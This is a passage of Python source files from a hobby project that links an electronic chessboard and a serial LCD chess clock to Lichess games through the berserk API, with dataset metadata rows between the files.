daemon=True) self.logger.info("ChessClock initialized") def clear(self) -> None: """case 1: clear the lcd w ASCII 1""" self.chess_clock.write("1".encode("ascii")) def game_over(self, display_message=True) -> None: """Case 2: signal game over, w ASCII 2 and stop counting down""" self.logger.info("game_over(...) entered") self.countdown_kill.set() self.handling_game.clear() if display_message: """if a message of gameover should be shown. We do not want this if we are displaying a custom message""" self.chess_clock.write("2".encode("ascii")) if self.displayed_btime is not None and self.displayed_wtime is not None: self.logger.info( "\nChessClock.game_over() entered w current ts: %s\n" % (self.create_timestamp(self.displayed_wtime, self.displayed_btime)) ) else: self.logger.warning( "ChessClock.game_over(): self.displayed_btime or self.displayed_wtime is None" ) self.logger.info("ChessClock.game_over(...) called") def send_string(self, message: str) -> None: """Case 3: send a String to the external chess clock""" # because there are multiple threads that call this function with self.lcd_lock: # tell the clock we want to display a msg self.chess_clock.write("3".encode("ascii")) # send the message self.chess_clock.write(message.encode("ascii")) # from doc: Flush of file like objects. In this case, wait until all data is written. self.chess_clock.flush() def start_new_game( self, game: Game, ) -> None: """Case 4: handle game start event. reset all the game time data. @param game - berserk event incased in conviniance class @raises: RuntimeError if the chess clock is still handling a game """ self.logger.info("\nchess_clock: start_new_game entered with Game %s \n", game) # no clock for correspondence if game.speed == "correspondence": logger.info("SKIPPING correspondence game w/ id %s \n", game.gameId) return # make sure countdown thread is dead while self.countdown.is_alive(): self.countdown_kill.set() sleep(self.TIME_REFRESH) self.countdown_kill.clear() # create a new coutdown thread self.countdown = Thread(target=self.time_keeper, args=(self,), daemon=True) # create starting timestamp self.update_lcd(game.get_wtime(), game.get_btime()) # check for correspondance self.logger.info( "\nhandle_game_start(...) called with game_start['game'].gameId: %s", game.gameId, ) # start the chess clock for this game if not self.handling_game.is_set(): # creat new coundown thread if not handling game self.countdown.start() else: raise RuntimeError("ChessClock.handling_game is set.") def show_splash(self) -> None: """Case 5: show the nl splash""" self.chess_clock.write("5".encode("ascii")) def white_won(self) -> None: """Case 6: show that white won""" self.chess_clock.write("6".encode("ascii")) self.game_over(display_message=False) def black_won(self) -> None: """Case 7: show that black won""" self.chess_clock.write("7".encode("ascii")) self.game_over(display_message=False) def drawn_game(self) -> None: """Case 8: show game is drawn""" self.chess_clock.write("8".encode("ascii")) self.game_over(display_message=False) def move_made(self, game_state: GameState) -> None: """a move was made in the game this chess clock is for, self.move_time is set. @param: game_state the game state at the time of move, or None if there is None """ with self.time_lock: # record the move_time self.move_time = datetime.now() self.logger.info("\nrecorded move time: %s\n", self.move_time) if game_state is not None: self.displayed_wtime: timedelta = game_state.wtime self.displayed_btime: timedelta = game_state.btime else: # TODO: add incriment pass # record the time player has left at move time if self.white_to_move.is_set(): self.time_left_at_move = self.displayed_wtime # clear event self.white_to_move.clear() else: self.time_left_at_move = self.displayed_btime # set white_to move self.white_to_move.set() # HACK: NO COUNTOWN MODE self.update_lcd(self.displayed_wtime, self.displayed_btime) def update_lcd(self, wtime: timedelta, btime: timedelta) -> None: """display wtime and btime on lcd. creates a timestamp from given times The time stamp shuld be formated with both w and b timestamp set up to display correctly on a 16 x 2 lcd """ timestamp = self.create_timestamp(wtime, btime) self.logger.info( "\n\nTIMESTAMP: %s white_to_move: %s\n", timestamp, self.white_to_move.is_set(), ) self.send_string(timestamp) def create_timestamp(self, wtime: timedelta, btime: timedelta) -> str: """create timestamp with white and black time for display on lcd @param: wtime timedelta contaning whites time @param: btime timedelta contaning blacks time @returns: a 2 X lcd_length string. It will overflow onto the seccond row """ # update the last received btime and wtime with self.time_lock: self.displayed_wtime = wtime self.displayed_btime = btime # ensure ts uses all the space, needed for lcd side white_time = f"W: { str(wtime) }" if len(white_time) > self.lcd_length: white_time = white_time[: self.lcd_length] else: while len(white_time) < self.lcd_length: white_time += " " black_time = f"B: { str(btime) }" if len(black_time) > self.lcd_length: black_time = black_time[: self.lcd_length] else: while len(black_time) < self.lcd_length: black_time += " " timestamp = f"{white_time}{black_time}" self.logger.info( "timestamp created: %s, from timedeltas wtime: %s, and btime: %s", timestamp, wtime, btime, ) return timestamp def did_flag(self, player_time: timedelta) -> bool: """check if a timedelta is 0 total_seconds or less. ie: they flaged @param: player_time (timedelta) - timedelta of how much time a player has @returns: (bool) if they flaged """ self.logger.info("did_flag(player_time) with player time %s", player_time) if type(player_time) is timedelta: if player_time.total_seconds() <= 0: return True else: self.logger.warning( "ChessClock.did_flag(player_time): player_time is not a timedelta" ) return False @staticmethod def time_keeper(chess_clock) -> None: """keep the time on the lcd correct. using the last time a move was made @param: chess_clock (ChessClock) - a ChessClock @raises: NicLinkGameOver: - if countdown_kill is set - if white or black flags """ # loop inifinatly while True: # if the game is over, kill the time_keeper if chess_clock.countdown_kill.is_set(): chess_clock.logger.warning("countdown_kill is set") raise NicLinkGameOver( """time_keeper(...) exiting. chess_clock.countdown_kill.is_set()""" ) if chess_clock.move_time is None: chess_clock.logger.warning("chess_clock.move_time is None") sleep(chess_clock.TIME_REFRESH) continue if chess_clock.time_left_at_move is None: chess_clock.logger.warning("chess_clock.time_left_at_move is None") sleep(chess_clock.TIME_REFRESH) continue if chess_clock.displayed_btime is None: chess_clock.logger.warning("chess_clock.displayed_btime is None") sleep(chess_clock.TIME_REFRESH) continue if chess_clock.displayed_wtime is None: chess_clock.logger.warning("chess_clock.displayed_wtime is None") sleep(chess_clock.TIME_REFRESH) continue # if it is white to move if chess_clock.white_to_move.is_set(): # because sometimes time_left_at_move is an int of secondsLeft if type(chess_clock.time_left_at_move) is not timedelta: chess_clock.time_left_at_move = timedelta( seconds=chess_clock.time_left_at_move ) # create a new timedelta with the updated wtime new_wtime = chess_clock.time_left_at_move - ( datetime.now() - chess_clock.move_time ) # check for flag for white if chess_clock.did_flag(new_wtime): chess_clock.black_won() # kill the thread raise NicLinkGameOver("white flaged") # update the clock chess_clock.update_lcd(new_wtime, chess_clock.displayed_btime) # else black to move else: # because sometimes time_left_at_move is an int of secondsLeft if type(chess_clock.time_left_at_move) is not timedelta: chess_clock.time_left_at_move = timedelta( seconds=chess_clock.time_left_at_move ) # create a new timedelta object w updated b time new_btime = chess_clock.time_left_at_move - ( datetime.now() - chess_clock.move_time ) # check if black has flaged if chess_clock.did_flag(chess_clock.displayed_btime): chess_clock.white_won() # kill the thread raise NicLinkGameOver("black flaged") # update the clock, updates displayed time chess_clock.update_lcd(chess_clock.displayed_wtime, new_btime) sleep(chess_clock.TIME_REFRESH) ### testing ### def test_timekeeper(cc: ChessClock, game: Game) -> None: """test the chess clock's countdown""" print("TEST: countdown") GS = GameState( { "type": "gameState", "moves": "e2e4 e6e5 d2d4", "wtime": timedelta(seconds=24), "btime": timedelta(seconds=13), "winc": timedelta(seconds=3), "binc": timedelta(seconds=3), "status": "started", } ) cc.start_new_game(game) x = "n" while x == "n": cc.move_made(GS) print("press 'n' to move in game, not 'n' to quit") x = readchar.readchar() cc.game_over() def test_display_options(cc: ChessClock) -> None: """test all the display options""" print("TEST: testing display options. press a key to display next") print("game_over w message.") cc.game_over() readchar.readchar() print("white won") cc.white_won() readchar.readchar() print("black_won") cc.black_won() readchar.readchar() print("drawn game") cc.drawn_game() readchar.readchar() print("show splash") cc.show_splash() readchar.readchar() print("Send String: Sending reeeee") cc.send_string("reeeeeeeeeeeeeeeeeee") readchar.readchar() print("display test out") def main() -> None: """test ChessClock""" global logger PORT = "/dev/ttyACM0" BR = 115200 # baudrate for Serial connection REFRESH_DELAY = 100.0 # refresh delay for chess_clock SCRIPT_DIR = os.path.dirname(__file__) TOKEN_FILE = os.path.join(SCRIPT_DIR, "lichess_token/token") test_display_opts = True test_countdown = False RAW_GAME = { "fullId": "4lmop23qqa8S", "gameId": "4lmop23q", "fen": "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1", "color": "white", "lastMove": "", "source": "lobby", "status": {"id": 20, "name": "started"}, "variant": {"key": "standard", "name": "Standard"}, "speed": "rapid", "perf": "rapid", "rated": False, "hasMoved": False, "opponent": {"id": "david002", "username": "David002", "rating": 1376}, "isMyTurn": True, "secondsLeft": 1200, } GAME_START = Game(RAW_GAME) SAMPLE_GAMESTATE0 = GameState( { "type": "gameState", "moves": "", "wtime": timedelta(minutes=3), "btime": timedelta(minutes=3), "winc": timedelta(seconds=3), "binc": timedelta(seconds=3), "status": "started", } ) SAMPLE_GAMESTATE1 = GameState( { "type": "gameState", "moves": "e2e4", "wtime": timedelta(minutes=3), "btime": timedelta(minutes=3), "winc": timedelta(seconds=3), "binc": timedelta(seconds=3), "status": "started", } ) SAMPLE_GAMESTATE2 = GameState( { "type": "gameState", "moves": "e2e4 e6e5", "wtime": timedelta(minutes=3), "btime": timedelta(minutes=2, seconds=44), "winc": timedelta(seconds=3), "binc": timedelta(seconds=3), "status": "started", } ) SAMPLE_GAMESTATE3 = GameState( { "type": "gameState", "moves": "e2e4 e6e5 d2d4", "wtime": timedelta(seconds=24), "btime": timedelta(seconds=13), "winc": timedelta(seconds=3), "binc": timedelta(seconds=3), "status": "started", } ) chess_clock = ChessClock( PORT, BR, REFRESH_DELAY, logger=logger, ) if test_countdown: test_timekeeper(chess_clock, GAME_START) if test_display_opts: print("look at lcd") test_display_options(chess_clock) logger.debug("\n==== test loop ====\n") print("clock initialized. Ready for move made.") chess_clock.start_new_game(GAME_START) readchar.readchar() chess_clock.move_made(SAMPLE_GAMESTATE1) readchar.readchar() chess_clock.move_made(SAMPLE_GAMESTATE2) readchar.readchar() chess_clock.move_made(SAMPLE_GAMESTATE3) readchar.readchar() if __name__ == "__main__": global logger # if run as __main__ set up logging logger = logging.getLogger("chess_clock") consoleHandler = logging.StreamHandler(sys.stdout) logger.info("DEBUG is set.") logger.setLevel(logging.DEBUG) consoleHandler.setLevel(logging.DEBUG) formatter = logging.Formatter("%(asctime)s %(levelname)s %(module)s %(message)s") consoleHandler.setFormatter(formatter) logger.addHandler(consoleHandler) main()
19,697
Python
.py
502
29.426295
243
0.587712
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,620
__main__.py
nicvagn_NicLink/nicsoft/lichess/__main__.py
# NicLink-lichess is a part of NicLink # # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import lila lila.main()
677
Python
.py
9
74
239
0.785285
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,621
game.py
nicvagn_NicLink/nicsoft/lichess/game.py
# game is a part of NicLink-lichess # # NicLink-lichess is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink-lichess is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import logging from datetime import timedelta """samples correspondence: 'game': { 'fullId': 'aTBGIIVYsqYL', 'gameId': 'aTBGIIVY', 'fen': 'r4rk1/p1p1q1pp/1pb1pnn1/2N2p2/5B2/5PP1/PQ2P1BP/2RR2K1 w - - 1 22', 'color': 'white', 'lastMove': 'd8e7', 'source': 'friend', 'status': {'id': 20, 'name': 'started'}, 'variant': {'key': 'standard', 'name': 'Standard'}, 'speed': 'correspondence', 'perf': 'correspondence', 'rated': False, 'hasMoved': True, 'opponent': {'id': 'musaku', 'username': 'musaku', 'rating': 1500}, 'isMyTurn': True, 'compat': {'bot': False, 'board': True}, 'id': 'aTBGIIVY'} """ class Game: """A class used to contain a lichess api Game, and conveiniance functions""" def __init__(self, game_event: dict) -> None: """initialize this Game""" logger = logging.getLogger("nl_lichess") logger.debug("Game class created") self.fullId: str = game_event["fullId"] self.gameId: str = game_event["gameId"] self.id = self.gameId self.fen: str = game_event["fen"] self.colour: str = game_event["color"] self.lastMove: str = game_event["lastMove"] self.source: str = game_event["source"] self.status: dict = game_event["status"] self.variant = game_event["variant"] self.speed: str = game_event["speed"] self.perf: bool = game_event["perf"] self.rated: bool = game_event["rated"] self.opponent: dict = game_event["opponent"] self.isMyTurn: bool = game_event["isMyTurn"] if "secondsLeft" in game_event: self.secondsLeft: float = game_event["secondsLeft"] else: self.secondsLeft = None if "hasMoved" in game_event: self.hasMoved: bool = game_event["hasMoved"] else: self.hasMoved = "unknown" def __str__(self) -> str: """returns a partial rep. of this Game as a str""" return str( { "fullId": self.fullId, "gameId": self.gameId, "fen": self.fen, "color": self.colour, "status": self.status, "speed": self.speed, "hasMoved": self.hasMoved, } ) # HACK: assumes black and white time is seconds left def get_wtime(self) -> timedelta: """get whites time from this gamestart""" return timedelta(seconds=self.secondsLeft) # HACK: def get_btime(self) -> timedelta: """get black's time from GameStart""" return timedelta(seconds=self.secondsLeft) def is_corespondance(self) -> bool: """is this a correspondence GameStart""" return self.correspondence == "True" def playing_white(self) -> bool: """are they playing white in this GameStart""" return self.colour == "white" def is_my_turn(self) -> bool: """is iy my turn in this GameStart""" return self.isMyTurn
3,708
Python
.py
87
34.804598
247
0.615576
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,622
game_state.py
nicvagn_NicLink/nicsoft/lichess/game_state.py
# NicLink-lichess is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink-lichess is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import logging from datetime import timedelta from typing import List """ some exceptions """ class NoMoves(Exception): """raised when GameState has no moves""" def __init__(self, message): self.message = message class GameState: """A class used to contain all the information in a berserk board api game state.""" def __init__(self, game_state: dict) -> None: self.logger = logging.getLogger("nl_lichess") self.logger.debug( "GameState created w game_state: dict -> %s \n -gamestate bellow- \n", game_state, ) if game_state["type"] != "gameState": raise ValueError( '"GameState instantiated with a game_state["type"] != "gameState"' ) self.moves: List[str] = game_state["moves"].split(" ") self.wtime: timedelta = game_state["wtime"] self.btime: timedelta = game_state["btime"] self.winc: timedelta = game_state["winc"] self.binc: timedelta = game_state["binc"] self.status: str = game_state["status"] if "winner" in game_state: self.winner: str = game_state["winner"] else: self.winner = False def has_moves(self) -> bool: """does this game state have any moves? ie: moves was not '' @returns: (bool) does this gamestate have any moves?""" return self.moves != [""] def get_moves(self) -> List[str]: """get the moves from this GameState in an array""" return self.moves def get_last_move(self) -> str: """get the last move in uci""" if self.has_moves(): return self.moves[-1] else: raise NoMoves("no moves in this GameState") def first_move(self) -> bool: """does this gamestate have two moves? @returns: (bool) is first move """ if len(self.moves) < 2: return True return False def white_to_move(self) -> bool: """is white to move in this gamestate @returns: (bool) if it is whites move """ if self.has_moves(): # if odd number of moves, black to move return len(self.moves) % 2 == 0 else: # if there are no moves, it is white to move return True def get_wtime(self) -> timedelta: """get white's time from this GameState""" return self.wtime def get_btime(self) -> timedelta: """get black's time from this GamState""" return self.btime def get_winc(self) -> timedelta: """get white's incriment from this GameState""" return self.winc def get_binc(self) -> timedelta: """get black's incriment from this GameState""" return self.winc def get_status(self) -> str: """get the status from this GameState""" return self.status def __str__(self) -> str: return f"GameState, Moves: { self.moves }, status: {self.status },\n wtime: { self.wtime } btime: { self.btime }"
3,687
Python
.py
83
36.216867
247
0.621161
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,623
game_start.py
nicvagn_NicLink/nicsoft/lichess/game_start.py
# NicLink-lichess is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink-lichess is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. from typing import TypedDict from game import Game """sample {'type': 'gameStart', 'game': { 'fullId': 'aTBGIIVYsqYL', 'gameId': 'aTBGIIVY', 'fen': 'r4rk1/p1p1q1pp/1pb1pnn1/2N2p2/5B2/5PP1/PQ2P1BP/2RR2K1 w - - 1 22', 'color': 'white', 'lastMove': 'd8e7', 'source': 'friend', 'status': {'id': 20, 'name': 'started'}, 'variant': {'key': 'standard', 'name': 'Standard'}, 'speed': 'correspondence', 'perf': 'correspondence', 'rated': False, 'hasMoved': True, 'opponent': {'id': 'musaku', 'username': 'musaku', 'rating': 1500}, 'isMyTurn': True, 'compat': {'bot': False, 'board': True}, 'id': 'aTBGIIVY'} } """ class GameStart(TypedDict): """A class used to contain all the information in a berserk board api game start""" type: str game: Game
1,467
Python
.py
32
41.59375
247
0.679272
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,624
lila.py
nicvagn_NicLink/nicsoft/lichess/lila.py
# NicLink-lichess is a part of NicLink # # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import argparse import importlib.util import logging import logging.handlers import os # sys stuff import sys import threading import traceback from time import sleep import berserk # chess stuff import chess import chess.pgn from berserk.exceptions import ResponseError # external chess clock functionality from chess_clock import ChessClock from game import Game as LichessGame # game is already a class from game_start import GameStart # lila modularity from game_state import GameState # exceptions from serial import SerialException # NicLink shit from niclink import NicLinkManager from niclink.nl_exceptions import (ExitNicLink, IllegalMove, NicLinkGameOver, NicLinkHandlingGame, NoMove) # === command line === # parsing command line arguments parser = argparse.ArgumentParser() parser.add_argument("--tokenfile") parser.add_argument("--correspondence", action="store_true") parser.add_argument("--clock", action="store_true") # TODO: MAKE WORK parser.add_argument("--quiet", action="store_true") parser.add_argument("--debug", action="store_true") parser.add_argument("--learning", action="store_true") args = parser.parse_args() # === globals === global game global logger game = None correspondence = False if args.correspondence: correspondence = True # the script dir, used to import the lila token file script_dir = os.path.dirname(__file__) LEARNING = False DEBUG = False # DEBUG = True if args.debug: DEBUG = True if args.clock: CHESS_CLOCK = True else: CHESS_CLOCK = False # === constants === # refresh refresh delay for NicLink and Lichess REFRESH_DELAY = 0.1 # POLL_DELAY for checking for new games POLL_DELAY = 10 # === lichess token parsing === TOKEN_FILE = os.path.join(script_dir, "lichess_token/nrv773_token") # TOKEN_FILE = os.path.join(script_dir, "lichess_token/dev_token") if DEBUG: TOKEN_FILE = os.path.join(script_dir, "lichess_token/dev_token") if args.learning or LEARNING: TOKEN_FILE = os.path.join(script_dir, "lichess_token/nrv_learning_token") if args.tokenfile is not None: TOKEN_FILE = args.tokenfile # === logger stuff === logger = logging.getLogger("nl_lichess") consoleHandler = logging.StreamHandler(sys.stdout) if DEBUG: logger.info("DEBUG is set.") logger.setLevel(logging.DEBUG) consoleHandler.setLevel(logging.DEBUG) else: logger.info("DEBUG not set") logger.setLevel(logging.INFO) consoleHandler.setLevel(logging.WARNING) # logger.setLevel(logging.ERROR) # consoleHandler.setLevel(logging.ERROR) formatter = logging.Formatter( "%(levelno)s %(funcName)s %(lineno)d %(message)s @: %(pathname)s") consoleHandler.setFormatter(formatter) logger.addHandler(consoleHandler) # logging to a file fileHandler = logging.FileHandler("NicLink.log") fileHandler.setLevel(logging.DEBUG) logger.addHandler(fileHandler) # === exception logging and except hook === # log unhandled exceptions to the log file def log_except_hook(excType, excValue, traceback): global logger logger.error("Uncaught exception", exc_info=(excType, excValue, traceback)) # set exception hook sys.excepthook = log_except_hook # for good measure, also log handled exceptions def log_handled_exception(exception) -> None: """log a handled exception""" global logger logger.error("Exception handled: %s", exception) # === pre-amble fin === print( "\n\n|=====================| NicLink on Lichess startup |=====================|\n\n" ) logger.info("NicLink Lichess startup\n") class Game(threading.Thread): """a game on lichess""" def __init__( self, berserk_client, game_id, playing_white, bluetooth=False, starting_fen=False, chess_clock=CHESS_CLOCK, **kwargs, ): """Game, the client.board, niclink instance, the game id etc.""" global nl_inst, logger super().__init__(**kwargs) # for await move to signal a move has been made self.has_moved = threading.Event() # berserk board_client self.berserk_board_client = berserk_client.board # id of the game we are playing self.game_id = game_id # incoming board stream self.stream = self.berserk_board_client.stream_game_state(game_id) # current state from stream self.current_state = next(self.stream) self.response_error_on_last_attempt = False # the most reasontly parsed game_state, in a GameState class wrapper self.game_state = GameState(self.current_state["state"]) # === niclink options === self.bluetooth = bluetooth # === external clock constants === SERIAL_PORT = "/dev/ttyACM0" BAUDRATE = 115200 TIMEOUT = 100.0 """if there is an external_clock try to connect to the clock, but do not fail if you dont """ if chess_clock: try: self.chess_clock = ChessClock( SERIAL_PORT, BAUDRATE, TIMEOUT, logger=logger, ) except SerialException as ex: logger.error("Chess clock could not be connected %s" % ex) self.chess_clock = False else: self.chess_clock = False self.playing_white = playing_white if starting_fen and False: # HACK: TODO: make 960 work nl_inst.reset() self.game_board = chess.Board(starting_fen) nl_inst.set_game_board(self.game_board) self.starting_fen = starting_fen else: nl_inst.reset() # reset niclink for a new game self.game_board = chess.Board() nl_inst.set_game_board(self.game_board) self.starting_fen = None logger.info("game init w id: %s", game_id) # if white, make the first move if self.playing_white and self.current_state["state"]["moves"] == "": self.make_first_move() # if we are joining a game in progress or move second else: self.handle_state_change(GameState(self.current_state["state"])) def run(self) -> None: """run the thread until game is through ie: while the game stream is open then kill it w self.game_done() """ global nl_inst, logger state_change_thread = None for event in self.stream: logger.debug("event in self.stream: %s", event) if event["type"] == "gameState": # update the game state in this class with a stream game_state # incapsulated in a conveiniance class self.game_state = GameState(event) logger.debug("state_change_thread is: %s", state_change_thread) # if there is a state_change_thread if state_change_thread is not None: # if there is another state change thread still # running running, join it # while checking for game over while state_change_thread.is_alive(): if state_change_thread.is_alive(): logger.debug("trying to join state_change_thread, \ it is alive.") # check that the game is not over. # Will call game_done if so. self.check_for_game_over(self.game_state) # try to join state_change_thread with # a one second time_out state_change_thread.join(timeout=REFRESH_DELAY) # start new state change thread state_change_thread = threading.Thread( target=self.handle_state_change, args=(self.game_state, )) state_change_thread.start() elif event["type"] == "chatLine": self.handle_chat_line(event) elif event["type"] == "gameFull": logger.info("\n\n +++ Game Full got +++\n\n") self.game_done() elif event["type"] == "opponentGone": logger.info(">>> opponentGone <<< received event: %s \n", event) print(">>> opponentGone <<<") for x in range(0, 2): nl_inst.signal_lights(3) nl_inst.signal_lights(2) else: # If it is not one of these options, kill the stream logger.warning("\n\nNew Event: %s", event) for x in range(0, 3): nl_inst.beep() sleep(0.5) break logger.error("outside run loop in class Game(threading.Thread):") self.game_done() def get_game_state(self) -> GameState: """get the current game_state""" return self.game_state def game_done(self, game_state: GameState = None) -> None: """stop the thread, game should be over, or maybe a rage quit @param - (GameState) a gamestate telling us how the game ended @side-effect - changes the external board led's info on signals: 1 - ring of lights 2 - files 5 to 8 lit up 3 - files 1 to 4 lit up 4 - central line 5 - cross in center """ global logger, nl_inst logger.info("\nGame.game_done(GameState) entered.\n GameState %s", game_state) # signal the side that won on the board by lighting up that side # if there is an external clock, display gameover message if game_state is not None: if game_state.winner: if game_state.winner == "white": if self.chess_clock: self.chess_clock.white_won() nl_inst.signal_lights(3) elif game_state.winner == "black": if self.chess_clock: self.chess_clock.black_won() nl_inst.signal_lights(2) else: # if no winner self.chess_clock.game_over() nl_inst.signal_lights(4) else: # if no game state was given if self.chess_clock: self.chess_clock.game_over() # signal we dont know wtf with a cross nl_inst.signal_lights(5) print("\n[--- %%%%% GAME DONE %%%%% ---]\n") # tell the user and NicLink the game is through nl_inst.game_over.set() nl_inst.beep() nl_inst.gameover_lights() sleep(3) nl_inst.turn_off_all_LEDs() # stop the thread raise NicLinkGameOver("Game over") def await_move_thread(self, fetch_list: list) -> None: """await move in a way that does not stop the user from exiting. and when move is found, set it to index 0 on fetch_list in UCI. This function should be ran in it's own Thread. """ global logger, nl_inst logger.debug("\nGame.await_move_thread(...) entered\n") try: move = (nl_inst.await_move() ) # await move from e-board the move from niclink logger.debug( "await_move_thread(...): move from chessboard %s. setting it to index 0 of the passed list, \ and setting moved event", move, ) fetch_list.insert(0, move) self.has_moved.set() # set the Event except KeyboardInterrupt as err: log_handled_exception(err) print("KeyboardInterrupt: bye") sys.exit(0) except ResponseError as err: logger.info( "\nResponseError on make_move(). This causes us to just return\n\n" ) log_handled_exception(err) raise NoMove("ResponseError in Game.await_move_thread thread.") else: logger.info("Game.await_move_thread(...) Thread got move: %s", move) raise SystemExit( "exiting Game.await_move_thread thread, everything is good.") def make_move(self, move: str) -> None: """make a move in a lichess game with self.gameId @param - move: UCI move string ie: e4e5 @side_effect: talkes to lichess, sending the move """ global logger, nl_inst logger.info("move made: %s", move) while not nl_inst.game_over.is_set(): logger.debug( "make_move() attempt w move: %s nl.game_over.is_set(): %s", move, str(nl_inst.game_over.is_set()), ) try: if move is None: raise IllegalMove("Move is None") self.berserk_board_client.make_move(self.game_id, move) nl_inst.make_move_game_board(move) logger.debug("move sent to liches: %s", move) # once move has been made set self.response_error_on_last_attempt to false and return self.response_error_on_last_attempt = False # exit function on success return except ResponseError as err: log_handled_exception(err) # check for game over or it is not your turn, If so, return if "Not your turn, or game already over" in str(err): logger.error( "Not your turn, or game is already over. Exiting make_move(...)" ) break # if not, try again print( f"ResponseError: {err}trying again after three seconds. \ Will only try twice before calling game_done") sleep(3) if self.response_error_on_last_attempt is True: self.response_error_on_last_attempt = False self.game_done() else: self.response_error_on_last_attempt = True continue except IllegalMove as err: log_handled_exception(err) print("Illegal move") break def make_first_move(self) -> None: """make the first move in a lichess game, before stream starts""" global nl_inst, logger, REFRESH_DELAY logger.info("making the first move in the game") move = nl_inst.await_move() # HACK: while move is None: move = nl_inst.await_move() sleep(REFRESH_DELAY) # make the move self.make_move(move) def get_move_from_chessboard(self, tmp_chessboard: chess.Board) -> str: """get a move from the chessboard, and return it in UCI""" global nl_inst, logger, REFRESH_DELAY logger.debug( "get_move_from_chessboard() entered. Geting move from ext board.\n" ) # set this board as NicLink game board nl_inst.set_game_board(tmp_chessboard) logger.debug( "NicLink set_game_board(tmp_chessboard) set. board prior to move FEN %s\n FEN I see external: %s\n", tmp_chessboard.fen(), nl_inst.get_FEN(), ) # the move_fetch_list is for getting the move and await_move_thread in a thread is it does not block move_fetch_list = [] get_move_thread = threading.Thread(target=self.await_move_thread, args=(move_fetch_list, ), daemon=True) get_move_thread.start() # wait for a move on chessboard while not nl_inst.game_over.is_set() or self.check_for_game_over( GameState(self.current_state["state"] ) # TODO: FIND MORE EFFICIENT WAY ): if self.has_moved.is_set(): move = move_fetch_list[0] self.has_moved.clear() return move sleep(REFRESH_DELAY) raise NoMove("No move in get_move_from_chessboard(...)") def update_tmp_chessboard(self, move_list: list[str]) -> chess.Board: """create a tmp chessboard with the given move list played on it.""" global nl_inst, logger # if there is a starting FEN, use it if self.starting_fen is not None: tmp_chessboard = chess.Board(self.starting_fen) else: tmp_chessboard = chess.Board() # if the move list is not empty if move_list != [""]: for move in move_list: # make the moves on a board tmp_chessboard.push_uci(move) return tmp_chessboard def move_made(self, game_state: GameState) -> None: """signal that the opponent moved, signal the external clock and NicLink @param: game_state: the gamestate containing the move """ logger.info( "\nmove_made(self, game_state) entered with GameState: %s", game_state, ) # check to make sure the game state has moves first if game_state.has_moves(): move = game_state.get_last_move() # tell nl about the move nl_inst.opponent_moved(move) # tell the user about the move nl_inst.beep() logger.info("move made: %s", move) # if chess_clock send new timestamp to clock if self.chess_clock: if not game_state.first_move(): logger.info("\n\nGameState sent to ChessClock: %s \n", game_state) self.chess_clock.move_made(game_state) def handle_state_change(self, game_state: GameState) -> None: """Handle a state change in the lichess game. @param: GameState - The lichess game state we are handlinng wrapped in a convenience class """ global nl_inst, logger logger.debug("\ngame_state: %s\n", game_state) # get all the moves of the game moves = game_state.get_moves() # update a tmp chessboard with the current state tmp_chessboard = self.update_tmp_chessboard(moves) # check for game over result = tmp_chessboard.outcome() if result is not None: # set the winner var if result.winner is None: winner = "no winner" elif result.winner: winner = "White" else: winner = "Black" print( f"\n--- GAME OVER ---\nreason: {result.termination}\nwinner: {winner}" ) logger.info( "game done detected, calling game_done(). | result: %s | winner: %s\n", result, winner, ) # stop the thread (this does some cleanup and throws an exception) self.game_done(game_state=game_state) # a move was made self.move_made(game_state) # if there is a chess clock if self.chess_clock: # signal move self.chess_clock.move_made(game_state) # is it our turn? if tmp_chessboard.turn == self.playing_white: # get our move from chessboard move = self.get_move_from_chessboard(tmp_chessboard) # make the move logger.debug( "calling make_move(%s) to make the move from the chessboard in lila game", move, ) self.make_move(move) def check_for_game_over(self, game_state: GameState) -> None: """check a game state to see if the game is through if so raise an exception.""" global logger, nl_inst logger.debug( "check_for_game_over(self, game_state) entered w/ gamestate: %s", game_state, ) if game_state.winner: self.game_done(game_state=game_state) elif nl_inst.game_over.is_set(): self.game_done() else: logger.debug("game not found to be over.") def handle_chat_line(self, chat_line: str) 